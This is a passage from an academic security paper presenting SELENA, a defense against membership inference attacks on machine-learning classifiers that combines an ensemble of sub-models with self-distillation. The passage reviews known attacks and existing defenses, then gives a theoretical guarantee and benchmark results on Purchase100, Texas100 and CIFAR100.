that offers a provable privacy guarantee, our approach only
provides an empirical membership inference defense (similar
to MemGuard and adversarial regularization). However, our

2Note that our usage of the term self-distillation is different from what
Zhang et al. [53] refer to as self-distillation.
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Figure 1: Comparison of our method with undefended model,
DP-SGD [1] (ε = 4), MemGuard [21] and adversarial regular-
ization [30] with respect to classification accuracy and MIA
accuracy on Purchase100 dataset. Our SELENA outperforms
adversarial regularization in both classification and MIA ac-
curacy. Our SELENA significantly reduces MIA accuracy
compared to undefended model and MemGuard while incur-
ring little classification accuracy drop. Our SELENA achieves
much higher classification accuracy compared to DP-SGD
while only incurs little additional practical membership risks.

evaluation shows that SELENA achieves a much better utility
than DP-SGD (See Figure 1).

In summary, we propose a membership inference defense
to achieve high classification accuracy and highly mitigate
practical MIAs. Our key contributions are as follows:
• We propose Split-AI as the first component of our frame-

work that enforces the model to have a similar behavior
on members and non-members while maintaining a good
classification accuracy using sub-models trained on over-
lapping subsets of data and an adaptive inference strategy.
We further prove that the direct single-query attack can-
not achieve higher attack accuracy than a random guess
against this component.
• We introduce Self-Distillation of the training set as the

second component of our framework to overcome the
limitations of Split-AI while largely preserving its de-
fense abilities without relying on an additional public
dataset.
• We systematically evaluate our framework on three

benchmark datasets including Purchase100, Texas100,
and CIFAR100 against a suite of MIAs including direct
single-query attacks, label-only (indirect multi-query)
attacks and adaptive attacks to show that our framework
outperforms prior defenses.

2 Preliminaries and Problem Formulation

In this section, we introduce the machine learning concepts
and notation relevant to our work, as well as our threat model

and design goals.

2.1 ML Preliminaries and Notation

In this paper, we consider supervised machine learning for
classification. Let Fθ : Rd 7→ Rk be a classification model
with d input features and k classes, which is parameterized
by θ. For a given example z = (x,y), Fθ(x) is the classifier’s
confidence vector for k classes and the predicted label is the
corresponding class which has the largest confidence score,
i.e., ŷ = argmaxi Fθ(x).

The goal of supervised machine learning is to learn the
relationship between training data and labels and generalize
this ability to unseen data. The model learns this relationship
by minimizing the predicted loss across the training set Dtr:

min
θ

1
|Dtr| ∑

z∈Dtr

l(Fθ,z)

Here |Dtr| is the size of the training set and l(Fθ,z) is the loss
function. When clear from the context, we use F , instead of
Fθ, to denote the target model.

2.2 Threat Model

Black-box attack: In this paper, we follow previous de-
fenses [21,30] and assume the attacker has black-box access to
the target model, i.e., the attacker can only make queries to the
model provider and obtain corresponding prediction vectors
or predicted labels, instead of having access to target model’s
parameters. Therefore, the adversary can perform standard
black-box attacks, in particular the direct single-query attacks,
which directly query the target sample one time and is the
typical benchmarking technique, and the label-only attacks,
which make multiple queries for a single target sample and
exploit predicted label information. We also introduce a third
type of black-box attack which is an adaptive attack tailored
to our system. See Section 3 for a detailed explanation of di-
rect single-query attacks and label-only attacks and Section 5
for the adaptive attacks.

Partial knowledge of membership for members: Like
previous defenses [30,43], we assume the adversary knows
a small ratio of samples from the training set, i.e., it knows
some members. The goal of the adversary is to identify any
other member sample.

2.3 Design Goals

In this paper, we aim to overcome the limitations of existing
membership inference defenses [21, 30, 40], which estimate
the membership risk through practical MIAs: none of these
defenses are able to provide sufficient MIA protection and
high utility simultaneously in the absence of public datasets.
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Low MIA accuracy: Our goal is to design a practical de-
fense against MIAs. We will evaluate our defense in a system-
atic and rigorous manner to ensure that it achieves low MIA
accuracy (i.e., high membership privacy) across a broad class
of attacks, instead of only one specific family of attacks.

High classification accuracy: We aim to protect member-
ship privacy without significantly decreasing the classification
accuracy (model utility).

No additional public data required for defense: Some
prior works [34, 40] have proposed to preserve membership
privacy by knowledge distillation using publicly available
datasets. However, this is a limiting assumption since public
datasets may not be available in many real-world ML training
scenarios such as healthcare data. In this paper, we consider
a more realistic scenario, where the model provider does not
have access to external public dataset.

3 Existing Attacks and Defenses

Next, we overview prior MI attacks and MI defenses.

3.1 Membership Inference Attacks (MIAs)

MIAs can utilize the prediction vector as a feature using
a neural-network-based model, called NN-based attacks, or
can compute a range of custom metrics (such as correctness,
confidence, entropy) over the prediction vector to infer mem-
bership, called metric-based attacks. These attacks can be
mounted either by knowing a subset of the training set [30]
or by knowing a dataset from the same distribution of the
training set and constructing shadow models [41].

Let us denote Dtr as the training set for the target model, i.e.,
members, and Dte as the test set, i.e., non-members. DA

tr and
DA

te are, respectively, the sets of members and non-members
that the attacker knows. I(x,y,F(x)) is the binary member-
ship inference classifier in the range of {0,1} which codes
members as 1, and non-members as 0. The literature typically
measures MIA efficacy as the attack accuracy:

∑(x,y)∈Dtr\DA
tr

I(x,y,F(x))+∑(x,y)∈Dte\DA
te
(1− I(x,y,F(x)))

|Dtr\DA
tr|+ |Dte\DA

te|

In most previous attacks [30, 41, 43, 52], the number of
members and non-members used to train and evaluate the
attack model are the same. With this approach, the prior prob-
ability of a sample being either a member or a non-member
is 50% (corresponding to a random guess).

Next, we summarize black-box MIAs in the following two
categories: direct attacks and indirect attacks.

Direct single-query attacks: Most existing MIAs directly
query the target sample and utilize the resulting prediction
vector. Since ML models typically have only one output for
each queried sample, just a single query is sufficient.

NN-based attack [30, 41]: The attacker can use the predic-
tion vectors from the target model along with the one-hot en-
coded ground truth labels as inputs and build a NN model [30]
INN for the membership inference task.

Correctness-based attack [52]: The generalization gap (i.e.,
the difference between training accuracy and test accuracy) is
a simple baseline for MIA, as samples with correct prediction
are more likely to be training members.

Icorr(F(x),y) = 1{argmax
i

F(x)i = y}

Confidence-based attack [43, 44, 51]: Prediction confi-
dence corresponding to training samples F(x)y is typically
higher than prediction confidence for test samples. Therefore,
confidence-based attack will only regard the queried sample
as a member when the prediction confidence is higher than
either a class-dependent threshold τy or a class-independent
threshold τ.

Iconf(F(x),y) = 1{F(x)y ≥ τ(y)}

Entropy-based attack [41, 43]: The prediction entropy of a
training sample is typically lower than the prediction entropy
of a test sample. Therefore, entropy-based attack will only
regard the queried sample as a member when the prediction
entropy is lower than either a class-dependent threshold τy or
a class-independent threshold τ.

Ientr(F(x),y) = 1{−∑
i

F(x)i log(F(x)i)≤ τ(y)}

Modified entropy-based attack [43]: Song et al. [43] pro-
pose the modified prediction entropy metric which combines
the information in the entropy metric and ground truth labels:

Mentr(F(x),y) =−(1−F(x)y) log(F(x)y)

−∑
i 6=y

F(x)i log(1−F(x)i)

Training samples typically have lower values of modified en-
tropy metric than test samples and either a class-dependent
threshold τy or a class-independent threshold τ attack is ap-
plied to infer membership.

IMentr(F(x),y) = 1{Mentr(F(x),y)≤ τ(y)}

Indirect multi-query attacks (label-only attacks): Long
et al. [27] state that indirect attacks can make queries that are
related to the target sample x to extract additional member-
ship information, as a training sample influences the model
prediction both on itself and other samples in its neighbor-
hood. These indirect attacks usually make multiple queries
for a single target sample [8,26,27]. For example, multi-query
label-only attacks leverage the predicted label of the queried
data as features, and are thus immune to defenses that only
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obfuscate prediction confidences, e.g., MemGuard [21]. The
key idea in label-only attacks is that the model should be more
likely to correctly classify the samples around the training
data than the samples around test data, i.e., members are more
likely to exhibit high robustness than non-members [8, 26].
Simply obfuscating a model’s confidence scores cannot hide
label information to defend against such label-only attacks.

Boundary estimation attacks [8, 26]: As the target model
is more likely to correctly classify samples around training
samples than those around test samples, the distance to clas-
sification boundary for the training samples should be larger
than that for the test samples. An attacker can either lever-
age techniques for finding adversarial examples under the
black-box assumption [2, 7] or add noise to find the adversar-
ial examples that change the predicted label with minimum
perturbation. Such attacks should not achieve higher attack
accuracy than the white-box adversarial example attacks such
as Carlini-Wagner attack [5], which have full access to the
model parameters and can find the adversarial example with
the least distance for each target sample.

Data augmentation attacks [8]: In computer vision tasks,
data augmentation techniques based on translation, rotation,
and flipping help improve test accuracy. However, such data
augmentation techniques pose a privacy threat: the target
model is more likely to correctly classify the augmented data
of training samples. An attacker can query the augmented
data of the target sample and use the percentage of correct
predictions to identify membership of the target sample.

3.2 Existing Defenses

Multiple defenses have been proposed to mitigate MIAs. We
summarize them below. Section 8 gives a more comprehen-
sive summary of prior defenses.

Adversarial Regularization [30]: Nasr et al. [30] include
the estimation of membership threat in the training process
of the ML model. They optimize a min-max game to train a
privacy-preserving target classifier, which aims to reduce the
prediction loss while also minimizing the MIA accuracy.

Early Stopping [6, 43]: During the training process, the
model may learn too much information in the training samples
thus the difference between its behavior on members and non-
members becomes larger and larger, and the model becomes
more vulnerable to MIAs. Therefore, early stopping, which is
a general technique to prevent model overfitting by stopping
model training before the whole training process ends, can
mitigate MIA accuracy with a sacrifice of model utility. Song
et al. [43] find that adversarial regularization is not better
than early stopping [6] when evaluated by a suite of attacks
including both NN-based attacks and metric-based attacks.
They recommend that any defense that trades off a reduction
in MIA accuracy at the cost of a reduction in utility should be
compared with early stopping as a baseline.

MemGuard [21]: Jia et al. [21] obfuscate the prediction

vector with a well-designed noise vector using the perspective
of adversarial examples to confuse the membership infer-
ence classifier. Since MemGuard doesn’t change prediction
results, and only obfuscates confidence information, it main-
tains the original classification accuracy of the undefended
model. Song et al. [43] show that MemGuard lacks consider-
ation of strategic adversaries. Though resistant to NN-based
attack, MemGuard underestimates the threat of metric-based
attacks.

DP-based defenses: Differential privacy [9] is a formal
framework that provides a rigorous privacy guarantee. In
machine learning, DP-based defenses, such as DP-SGD [1],
add noise to the training process of a classifier. However, it
is challenging to perform machine learning with differential
privacy while achieving acceptable utility loss and privacy
guarantees [19, 37] (See Section 8).

4 Our Defense Architecture

In this section, we first present an overview of our defense
framework and then describe the two key framework compo-
nents: Split-AI and Self-Distillation.

4.1 Overview
MIAs aim to distinguish members and non-members of the
private training data of a model. These attacks use the fact
that the trained model has a different behavior on member
and non-member data. This difference in behavior can ap-
pear in different forms, for example, the accuracy of model
might be different on members and non-members [39], or the
confidence might be higher on member inputs [43, 44, 51].
Similarly, the model might be more likely to correctly clas-
sify the samples around the member examples compared to
those around non-member examples [8,26]. MIAs leverage
these differences to obtain an attack advantage that is better
than a random guess even in the black-box setting. To mit-
igate these differences, we propose a framework to defend
against MIAs by training multiple sub-models using subsets
from whole training set and introducing a specific adaptive
inference technique that exploits the following intuition: if
a training sample is not used to train a sub-model, this sub-
model will have similar behavior on this training sample and
non-members. Section 6.2 shows the advantage of our defense
in improving the trade-off between membership privacy and
utility, which is based on this intuition, over existing member-
ship inference defenses (MemGuard [21] in Section 6.2.2 and
adversarial regularization [30] in Section 6.2.3).

Based on this intuition, we propose a framework, SELENA,
composed of two components to defend against MIAs. The
first component, which we call Split-AI, trains an ensemble of
K sub-models with overlapping subsets of the training dataset.
The constraint for each subset is as follows: for a given train-
ing sample, there are L sub-models which are not trained with

USENIX Association 31st USENIX Security Symposium    1437



Training data

Generate Idnon(x) (L numbers) for each x as constraints and record

Subset 
generation

𝐷1

Adaptive 
Inference

…

Training 
data with 
soft labels 
from 𝐹𝜃I

𝐹𝜃II	 which 
mimics the 
prediction 
from 𝐹𝜃I

Not accessible by adversary Accessible by 
adversary

Queries

Data feeding Training Prediction

Split-AI (𝐹𝜃I)

𝐷2

𝐷𝐾

…

Self-Distillation 
( 𝐹𝜃II)𝐹1

𝐹2

𝐹𝐾

Figure 2: Our end-to-end defense framework with the Split-AI and Self-Distillation components.

this training sample, and therefore, they will behave similarly
on this training sample and the non-member samples. Split-AI
applies adaptive inference for members and non-members:
For a member sample, Split-AI computes L predictions of the
L sub-models which are not trained with the member sam-
ple, and outputs the average of the L predictions as the final
prediction. For a non-member sample, the adaptive inference
randomly samples L sub-models from the K total sub-models,
subject to a specific distribution, and returns the average of the
L predictions on the non-member as the final prediction. We
detail our algorithm and explain why it preserves membership
privacy in Section 4.2.

The second component, which we call Self-Distillation, ad-
dresses the two weaknesses of Split-AI: its potential privacy
risks due to replay/indirect attacks and its high computation
overhead in inference. Specifically, the Self-Distillation com-
ponent transfers the knowledge of the model obtained by
Split-AI into a new model by using the soft labels of the train-
ing set from Split-AI. We call this Self-Distillation because it
does not require any public dataset for distillation. As we will
demonstrate, this protected model from Self-Distillation has
similar classification performances as Split-AI with signifi-
cantly lower computation overhead, and can protect against
replay and indirect MIA attacks.

As we study the black-box MIAs, only the final prediction
vectors or predicted labels of the protected model from Self-
Distillation are available to the attacker. Figure 2 gives an
overview of our defense, where we denote Split-AI as FθI
and protected model from Self-Distillation as FθII .

3 Next, we
detail Split-AI and Self-Distillation.

4.2 Our Split-AI Ensemble Architecture
Here we describe Split-AI, the first component of our system.

3PATE [34, 35] also trains multiple sub-models to provide privacy but
with a public dataset. We detailed the difference between our SELENA and
PATE in Section 7.2.

Split-AI’s training: Following the intuition in Section 4.1:
we train K sub-models and ensure that each training sample is
not used to train L sub-models such that these L sub-models
will have similar behavior on this training sample and other
non-members. We accomplish this via a specific data parti-
tioning strategy:

For each data point x in the training set, we randomly
generate L non-model indices from {1, 2, ..., K} to denote
the L non-models that are not trained with the data point
and record the identification numbers of these L non-model
indices (denoted as Idnon(x)4). We then generate the dataset
partition based on these non-model indices. For each subset
Di, we will only use those training samples which do not
include i in their non-model indices.

A B
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A B C
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(a) Split-AI’s training
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(b) Split-AI’s inference

Figure 3: Illustration of Split-AI’s data partition for training
and adaptive inference in K = 5,L = 2 for member samples
A,B,C and non-member sample D (red color for members and
blue color for non-members). Idnon(A) = (4,5), Idnon(B) =
(2,3), Idnon(C) = (1,2).

Figure 3(a) illustrates this partition strategy for three train-

4Idnon(x) records L sub-model indices which are not trained with x.
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ing samples (A, B, C) under the setting of K = 5,L = 2. We
randomly generate non-model sub-model indices: Idnon(A) =
(4,5), Idnon(B) = (2,3), Idnon(C) = (1,2). Therefore, A is
used to train sub-model 1, 2, 3. B is used to train sub-model
1, 4, 5. C is used to train sub-model 3, 4, 5.

This specific data partition strategy ensures that for each
data point, we have L sub-models which are not trained with
it. This facilitates our key intuition in Split-AI: we use models
that are not trained with a data point to estimate its soft label
while protecting the membership information. K and L are
parameters of our framework. The approximate size of each
subset is ((K−L)/K)×|Dtr|. We then train K sub-models Fi,
one for each subset of the training data Di, which have the
same architecture and hyper-parameter settings.

Split-AI’s inference: We now describe the adaptive infer-
ence based ensemble strategy for members and non-members.
For each queried sample x, the ensemble will check whether
there is an exact match of x in the training set:
• If so, which indicates that x is a member, the defender

will average the prediction vectors on x from L models
which are not trained with x as the output;
• If not, the defender will randomly use non-model indices

of a member sample x′ and average the prediction vectors
on x from L models of Idnon(x′) as the output.

Figure 3(b) illustrates the adaptive inference for three mem-
ber samples (A, B, C) and one non-member sample D follow-
ing the setting in Figure 3(a). A is non-member for sub-model
4, 5; B is non-member for sub-model 2, 3; C is non-member
for sub-model 1, 2; and D is non-member for all sub-models.
Adaptive inference will average on non-model indices in sub-
models for A, B, C and randomly select one member sample’s
non-model indices for non-member sample D.

Algorithm 1 presents the entire procedure for Split-AI. We
next provide our theoretical analysis of Split-AI’s defense
capability, which proves that Split-AI strategy is resilient
to direct single-query MIAs (discussed in Section 3.1) and
can reduce the accuracy of such attacks to a random guess.
We first define the direct single-query membership inference
game in Definition 1 and then we present our Theorem 2.

Definition 1 (Direct, Single-Query Membership Inference).
The single-query membership inference game is defined be-
tween an attacker A and a learner C and is parameterized by
a number n which is the number of training examples.

1. The attacker selects a dataset X = {x1, . . . ,x2n} and
sends it to the learner.

2. Learner selects a uniformly random Boolean vector b =
b1, . . . ,b2n such that the Hamming weight of b is exactly
n.

3. Learner constructs a dataset S = {xi;∀i ∈ [2n],bi = 1}
and learns a model FθI using S as training set.

4. Learner selects a random i ∈ [2n] and sends (xi,FθI (xi))
to the adversary

Algorithm 1 Split-AI Model FθI

Initialize:
K: total number of sub-models F1,F2, ...,FK .
L: for each training sample, the number of sub-models
which are not trained with it.
(Xtrain,Ytrain): training data and labels.
Training Phase:
Randomly generate the L non-model indices for each train-
ing sample Idnon(x).
for i = 1 to K do

Construct subset (X i
train,Y

i
train) for model Fi based on the

recorded Idnons of non-model indices: {(x,y): (x,y) ∈
(Xtrain,Ytrain), i not in Idnon(x)}.
for number of the training epochs do

Update Fi by descending its stochastic gradients over
l(Fi(X i

train),Y
i

train).
end for

end for
Inference Phase: FθI(x)
Given x
if x in Xtrain then

FθI(x) =
1
L ∑

i∈Idnon(x)
Fi(x)

else
Randomly select x′ in the training set,

FθI(x) =
1
L ∑

i∈Idnon(x′)
Fi(x)

end if

5. Adversary outputs a bit b′i.
The advantage of A in breaking the security game above
is SQMI(A,C,n) = E[1−|bi−b′i|] where the expectation is
taken over the randomness of the adversary and learner.

Remark 1. We can define a variant of the security game of
Definition 1 for a fixed dataset X. That is, instead of X being
chosen by adversary, we define the game for a given X. We
use SQMI(A,C,X) to denote the success of adversary in the
security game with the dataset fixed to X.

Theorem 2. Consider a learner CST that uses Algorithm 1.
For any direct, single-query membership inference adversary
A we have

SQMI(A,CST ,n) = 50%

We detail the proof of Theorem 2 in Appendix A.1. The
intuitive explanation for this proof is that for each data point,
the distribution of output of this algorithm on this given point
x is independent of the presence of x in the training set. This
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is because, we will not use models that are trained with x to
answer queries, even if x is in the training set.

4.3 Our Self-Distillation Mechanism
Limitations of Split-AI. While Split-AI is resilient to di-
rect single-query MIAs, an adversary can leverage more ad-
vanced attacks. For example, instead of direct query, attacker
may do an indirect query [27] for the target sample (see Sec-
tion 3.1 for definitions) or may do multiple queries for one
target sample to identify membership information, as sug-
gested in recent work [8]. Split-AI suffers from severe privacy
risks under the setting of such aggressive attacks that exploit
the matching process for training samples: (1) An adaptive
attacker can make a single indirect query by adding a small
noise to the target sample. Such adaptive attacks can fool the
matching process used in the inference strategy that checks if
the input is a training member or non-member. Split-AI will
recognize noisy training samples as non-members and may
end up using sub-models trained with the target sample, thus
leaking membership information. (2) Attacker can perform
replay attacks by making multiple queries for the same target
sample: Split-AI will only have one possible prediction vector
for members, while approximately CL

K possible prediction vec-
tors for non-members. Furthermore, Split-AI incurs a compu-
tational overhead during inference: For each queried sample,
Split-AI first needs to identify whether it is in the training set,
thus incurring overhead for this matching process. Second,
Split-AI needs to perform inference on L models for each
queried sample, while conventional approaches only perform
inference on a single model.

Self-Distillation. To overcome the above limitations, we
need a more sophisticated defense mechanism and we cor-
respondingly introduce the second component of our frame-
work. We leverage distillation, which is proposed by Hinton
et al. [17] to reduce the size of NN architectures or ensem-
ble of NN architectures. To be more specific, here we use a
method which we call Self-Distillation: we first apply Split-
AI to get the prediction vectors for the training samples. We
then use the same training set along with the prediction vec-
tors (obtained from Split-AI) as soft labels to train a new
model using conventional training. The new protected model
benefits from distillation to maintain a good classification
accuracy. For queried samples, the defender now just needs
to do the inference on the new protected model FθII distilled
from the Split-AI. For defense capability, we prove that this
new model largely preserves Split-AI’s defense ability against
direct single-query attack by Theorem 5 and Corollary 6 un-
der mild stability assumptions (Definition 2) in Appendix A.2.
Note that our theoretical analysis of SELENA is only valid for
direct single-query attacks. In fact, there exist some datasets
that SELENA cannot obtain provable privacy for under multi-
query attacks. This includes settings with similar data points

that have different labels (see Appendix A.3).
Self-Distillation overcomes the privacy limitations of

Split-AI and mitigates advanced MIAs. The defender con-
trols the Self-Distillation component and ensures that Self-
Distillation only queries each exact training sample once.
The attacker only has black-box access to the protected out-
put model of Self-Distillation, but cannot access the Split-AI
model. Hence, the attacker cannot exploit the soft labels com-
putation of Split-AI as discussed before. Hence, the final
protected model from Self-Distillation effectively mitigates
the replay attack and indirect single-query attacks:

1. For replay attack: each sample is only queried once dur-
ing the Self-Distillation process, while replay attack requires
at least two queries of each sample to obtain advantage over
random guess. In addition, the final protected model has a de-
terministic behavior with only one possible prediction vector
for each queried sample.

2. For indirect single-query attacks: each exact sample is
queried during the Self-Distillation process and noisy samples
around the training sample are not queried. In addition, the
attacker only has black-box access to the protected model
from Self-Distillation (and no access to defender’s Split-AI):
indirect query attacks are thus limited in obtaining additional
membership information.

Self-Distillation also solves the computational overhead of
the Split-AI in inference: the defender now does not need to
check whether the queried sample is a training sample and it
only needs to make inference on a single Self-Distilled model.

In Section 6, we will evaluate the effectiveness of our whole
framework via rigorous experimental analysis including direct
single-query attacks, label-only attacks and adaptive attacks.

5 Membership Inference Attacks Evaluated

To (empirically) demonstrate the privacy of our system, we
evaluate it against three main classes of MIA attacks. First,
we evaluate our defense against the direct single-query at-
tacks and label-only attacks introduced earlier. Specifically,
we evaluate SELENA against the direct single-query attacks
discussed in Section 3.1, and for label-only attacks, we use
the boundary estimation attack for all three datasets and the
data augmentation attack for CIFAR100.

Additionally, we evaluate our system against adaptive mem-
bership inference attacks, as introduced in the following. Song
and Mittal [43] emphasize the importance of placing the at-
tacker in the last step of the arms race between attacks and
defenses: the defender should consider adaptive attackers with
knowledge of the defense to rigorously evaluate the perfor-
mance of the defenses. Therefore, here we consider attacks
that are tailored to our defense. As our defense leverages soft
labels from the Split-AI ensemble to train a new model FθII
in Self-Distillation, we need to analyze whether and how an
attacker can also leverage the information about soft labels.
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We first note that an attacker is unable to directly interact
with our Split-AI to directly estimate soft labels, since the
prediction API executes queries on the model produced by
the Self-Distillation component. Second, we expect that when
the model provider finishes training the protected model FθII
with soft labels obtained from Split-AI, it can safely delete the
sub-models and soft labels of the training set to avoid inad-
vertently leaking information about the soft labels. However,
an attacker can still aim to indirectly estimate soft labels.

As we assume that the attacker knows partial member-
ship of the exact training set in evaluating membership pri-
vacy risks (specifically, half of the whole training set) and
attacker cannot have access to the defender’s non-model in-
dices Idnon(x) for training set, the attacker will generate new
non-model indices Idnon(x)′ for these known member sam-
ples to train a new shadow Split-AI ensemble and use the
shadow Split-AI to estimate soft labels of the target samples.
The attacker can then use such soft labels as an additional
feature to learn the difference in target model’s behavior on
members and non-members, and launch MIAs on FθII . The
shadow Split-AI discussed in our paper is stronger than origi-
nal shadow models [41] since it is trained with exact knowl-
edge of the partial training dataset.

We design four adaptive direct single-query attacks5 includ-
ing two NN-based attacks and two metric-based attacks to
leverage the information in the estimated soft labels. To clar-
ify, FθII denotes the protected target model which answers the
attacker’s queries and F ′

θI
denotes attacker’s shadow Split-AI.

MIAs based on NN and soft labels: The first NN-based
attack concatenates the soft labels obtained from F ′

θI
, the pre-

dicted confidence from FθII and the one-hot encoded class
labels as features to train a neural network attack model (de-
noted as INN1). The second attack utilizes the difference be-
tween the estimated soft labels from F ′

θI
and outputs from

FθII , and uses this difference as an input to the neural network
architecture used by Nasr et al. [30] (denoted as INN2).

MIAs based on distance between soft labels and pre-
dicted confidence: Similar to previous metric-based at-
tacks [43], an attacker may try to distinguish between mem-
bers and non-members by leveraging the distance between
estimated soft labels from F ′

θI
, and the prediction confidence

vectors from FθII . We have:

Idist(FθII(x),F
′
θI
(x),y) = 1{Dist(FθII(x),F

′
θI
(x))≤ τ(y)}

or, Idist(FθII(x),F
′
θI
(x),y) = 1{Dist(FθII(x),F

′
θI
(x))≥ τ(y)}

where we apply both class-dependent threshold τy and class-
independent threshold τ and we will report the highest MIA
accuracy. In this work we consider L2 distance IL2-dist and

5Our Table 2 shows that label-only attacks are weaker than direct single-
query attacks on undefended model. We have also designed adaptive multi-
query label-only attacks against SELENA and evaluated on Purchase100
dataset, which are better than original label-only attacks, but weaker than
adaptive direct single-query attacks.

cross-entropy loss ICE-dist (since the cross-entropy loss func-
tion is used for training our defense models).

6 Evaluations

In this section, we first briefly introduce the datasets and
model architectures used to train the classification models in
Section 6.1.

Next in Section 6.2 we systematically evaluate our end-
to-end defense framework including its efficacy against (1)
direct single-query attacks, (2) indirect label-only attacks,
and (3) adaptive attacks. We also make a comparison with
undefended model, MemGuard [21], adversarial regulariza-
tion [30] and early stopping [43] by considering both the
utility and membership privacy risks.

6.1 Experimental Setup
We use three benchmark datasets and target models which are
widely used in prior works on MI attacks and defenses.

Datasets. Purchase100, Texas100 and CIFAR100. We fol-
low Nasr et al. [30] to determine the partition between training
data and test data and to determine the subset of the train-
ing and test data that constitutes attacker’s prior knowledge.
Specifically, the attacker’s knowledge corresponds to half of
the training and test data, and the MIA success is evaluated
over the remaining half.

Target Models. For CIFAR100, we use ResNet-18 [15],
which is a benchmark machine learning model widely used
in computer vision tasks. For Purchase100 and Texas100, we
follow previous work [30] to use a 4-layer fully connected
neural network with layer sizes [1024,512, 256,100].

In our defense, we set K = 25 and L = 10 for all three
datasets. We will release code to reproduce all our experi-
ments.

6.2 Results
Table 2 summarizes the classification accuracy and best at-
tack accuracy for each attack type, including comparison with
both undefended models (in Section 6.2.1) and previous de-
fenses (MemGuard in Section 6.2.2 and adversarial regular-
ization in Section 6.2.3). In addition, we also compare our
SELENA with early stopping in Section 6.2.4.

6.2.1 Comparison with Undefended Model

We first compare our SELENA with undefended model on
both membership privacy threats and classification accuracy.

SELENA significantly reduces membership inference
risks. From Table 2, we can see that our defense leads to a
significant reduction in privacy risks. Across three types of
attacks, the MIA accuracy against our defense is no higher
than 54.3% on Purchase100, 55.1% on Texas100 and 58.3%
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Table 2: Comparison of membership privacy and accuracy on training/test set of undefended model, previous defenses and
SELENA on three different datasets. AdvReg refers to adversarial regularization. The last column is the highest attack accuracy
for each row, i.e. for a specific defense on one dataset, the highest attack accuracy that MIAs can achieve. The last column gives
an overview of comparison: the lower best attack accuracy, the lower membership inference threat. For each dataset, the defense
which has the lowest corresponding attack accuracy is bold in the column of best direct single-query attack, best label-only attack
and best attack.

dataset defense
acc on

training set
acc on
test set

best direct
single-query

attack

best
label-only

attack

best adaptive
attack best attack

Purchase100

None 99.98% 83.2% 67.3% 65.8% N/A 67.3%
MemGuard 99.98% 83.2% 58.7% 65.8% N/A 65.8%

AdvReg 91.9% 78.5% 57.3% 57.4% N/A 57.4%
SELENA 82.7% 79.3% 53.3% 53.2% 54.3% 54.3%

Texas100

None 79.3% 52.3% 66.0% 64.7% N/A 66.0%
MemGuard 79.3% 52.3% 63.0% 64.7% N/A 64.7%

AdvReg 55.8% 45.6% 60.5% 56.6% N/A 60.5%
SELENA 58.8% 52.6% 54.8% 55.1% 54.9% 55.1%

CIFAR100

None 99.98% 77.0% 74.8% 69.9% N/A 74.8%
MemGuard 99.98% 77.0% 68.7% 69.9% N/A 69.9%

AdvReg 86.9% 71.5% 58.6% 59.0% N/A 59.0%
SELENA 78.1% 74.6% 55.1% 54.0% 58.3% 58.3%

on CIFAR100. On the other hand, MIA accuracy against
undefended models (in the absence of our defense) is much
higher: such MIA advantage over a random guess is a factor
of 3.0∼ 4.0 higher than our defense.

SELENA achieves its privacy benefits at the cost of a
small drop in utility. Compared with undefended models,
our defense only has a small utility loss (while providing sub-
stantial privacy benefits). Compared to undefended models,
the classification(test) accuracy of our defense incurs at most
3.9% accuracy drop (on Purchase100), and even no accuracy
drop on Texas100.

We also note that even though our approach has a small loss
in utility, it achieves a better utility-privacy trade-off compared
to prior defenses like MemGuard, adversarial regularization
and early stopping, which we discuss next.

6.2.2 Comparison with MemGuard

While the test accuracy of our defense is a little lower
than MemGuard (MemGuard has the same test accu-
racy as the undefended model), the MIA accuracy against
MemGuard is much higher than our defense. Compared
to a random guess, which achieves 50% attack accuracy, the
best attacks on MemGuard can achieve 14.7%∼ 19.9% ad-
vantage over a random guess, which is a factor of 2.4∼ 3.7
higher than our defense. In general, MemGuard does not
provide any additional defense compared to the undefended
model against MIAs that do not rely on confidence informa-
tion: attacker can use label-only attacks as adaptive attacks

since MemGuard only obfuscates confidence.

6.2.3 Comparison with Adversarial Regularization

Our defense achieves higher classification accuracy and
lower MIA accuracy compared with adversarial regular-
ization. The classification accuracy of our defense is higher
than adversarial regularization across all three datasets, and as
high as 7.0% for the Texas100 dataset. For MIAs, our defense
achieves significantly lower attack accuracy than adversarial
regularization. MIA attacks against adversarial regularization
is higher than our defense across all three datasets, and its ad-
vantage over random guess is at most a factor of 2.1 than our
defense (on Texas100). Besides, adversarial regularization is
much harder to tune and can also take more training time (by
a factor up to 7.8) compared to our defense when multiple
GPUs are used in parallel (see Section 7.1).

6.2.4 Comparison with early stopping

We further compare our defense with early stopping, which
can also help in minimizing the difference in model behavior
on members and non-members [43]. Specifically, we will
compare the model performance of an undefended model in
each epoch during the training process and our final protected
model FθII . For early stopping, we only consider direct single-
query attacks (due to their strong performance on undefended
models). Figure 4 shows a detailed comparison between our
defense FθII and early stopping. The dashed lines are the
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Figure 4: Detailed comparison of SELENA with early stopping. From left to right are results for Purchase100, Texas100 and
CIFAR100. The solid curve lines are the test accuracy and MIA accuracy with corresponding training epochs. ER denotes early
stopping. The dashed lines are the test accuracy and MIA accuracy of SELENA, which is shown in Table 2. Our defense achieves
a better privacy-utility trade-off than all epochs in the conventional training.

classification accuracy on test set and the best MIA accuracy
of our defense, which is already reported in Table 2. The solid
curve lines correspond to classification accuracy on test set
and MIA accuracy using the undefended model as a function
of the training epochs. As we can see from Figure 4, our
defense significantly outperforms early stopping.

Comparison at similar attack accuracy. The undefended
model will only have same level of MIA accuracy as the
dashed line of our defense at the very beginning of the training
process. However the test accuracy of the undefended model
at that point is far lower than that of our defense. For example,
approximately, for Texas100, when MIA accuracy against the
conventional trained model is 55.1%, the test accuracy of the
undefended model is 13.4% lower than that of our defense.
For other two dataset, when the MIA accuracy against the
undefended model achieves similar attack accuracy as our
defense, the test accuracy is 8.0% lower on Purchase100 and
11.0% lower on CIFAR100 compared to our defense.

Comparison at similar classification accuracy. When
the undefended model achieves the same classification accu-
racy on the test set as SELENA, the MIA accuracy against the
undefended model is significantly higher than our defense. For
example, when the test accuracy of the conventional model
reaches 74.6% on CIFAR100 (similar to our defense), the at-
tack accuracy is 63.6%, compared to the best attack accuracy
of 58.3% for our defense (which is 5.3% lower). We can see
similar results on other datasets: when the test accuracy of
undefended models achieves similar classification accuracy
as our defense on Purchase100 and Texas100, the attack accu-
racy is 58.1% on Purchase100 and 66.0% on Texas100, which
is 3.8% and 10.9% higher than SELENA respectively.

We also highlight the following two points from Table 2:
1. Our SELENA effectively induces the similar behaviors

including generalization, confidence, robustness for member
and non-member samples and therefore the MIA attack accu-

racy is significantly reduced. Let us take the generalization
gap g as an example: in undefended models/MemGuard, g
is 16.78% on Purchase100, 27.0% on Texas100, 22.98% on
